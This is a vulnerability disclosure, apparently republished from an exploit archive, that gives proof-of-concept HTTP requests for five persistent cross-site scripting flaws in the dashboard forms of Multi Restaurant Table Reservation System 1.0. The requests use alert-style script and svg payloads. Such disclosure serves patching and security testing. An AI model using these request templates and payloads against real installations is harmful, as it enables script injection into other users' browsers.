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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS
# Date: 01-11-2020
# Exploit Author: yunaranyancat
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tablereservation.zip
# Version: 1.0
# Tested on: Ubuntu 18.04 + XAMPP 7.4.11

Summary: 

Multiple Persistent Cross-site Scripting in Multi Restaurant Table Reservation System allows attacker to gain sensitive information using these vulnerabilities.

# POC No.1
Persistent XSS vulnerability at /dashboard/profile.php triggered by adding payload in Restaurant Name field 

### Sample request POC #1

POST /TableReservation/dashboard/profile.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/profile.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Cookie: PHPSESSID=0095837d1f0f69aa6c35a0bf2f70193c
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

fullname=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&email=lol%40lol&phone=123456789&area=1&address=lol&password=lol&save=Save

# POC No.2
Persistent XSS vulnerability at /dashboard/table-list.php triggered by adding payload in Table Name field in table-add.php

### Sample request POC #2

POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/table-add.php
Content-Type: multipart/form-data; boundary=---------------------------424640138424818065256966622
Content-Length: 321
Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------424640138424818065256966622
Content-Disposition: form-data; name="tablename"

<script>alert("XSS")</script>
-----------------------------424640138424818065256966622
Content-Disposition: form-data; name="addtable"

Add Table
-----------------------------424640138424818065256966622--


# POC No. 3
Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Item Name field in menu-add.php

# POC No. 4
Persistent XSS vulnerability at /dashboard/menu-list.php triggered by adding payload in Made by field in menu-add.php

# POC No. 5
Persistent XSS vulnerability at /dashboard/menu-list.php triggered by modifying value of Area(food_type) dropdown to XSS payload in menu-add.php

### Sample request POC #3, #4 & #5

POST /TableReservation/dashboard/manage-insert.php HTTP/1.1
Host: [TARGET URL/IP]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[TARGET URL/IP]/TableReservation/dashboard/menu-add.php
Content-Type: multipart/form-data; boundary=---------------------------165343425917898292661480081499
Content-Length: 6641
Cookie: PHPSESSID=d464c277434e6f2cf4358f59a368b090
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="itemname"

<script>alert("XSS1")</script>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="price"

1
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="madeby"

<svg onload=alert("XSS2")>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="food_type"

<svg onload=prompt("XSS4")>
-----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="image"; filename="image.jpeg"
Content-Type: image/jpeg

..
[REDACTED CONTENT OF image.jpeg]
..

----------------------------165343425917898292661480081499
Content-Disposition: form-data; name="addItem"

Add Item
-----------------------------165343425917898292661480081499--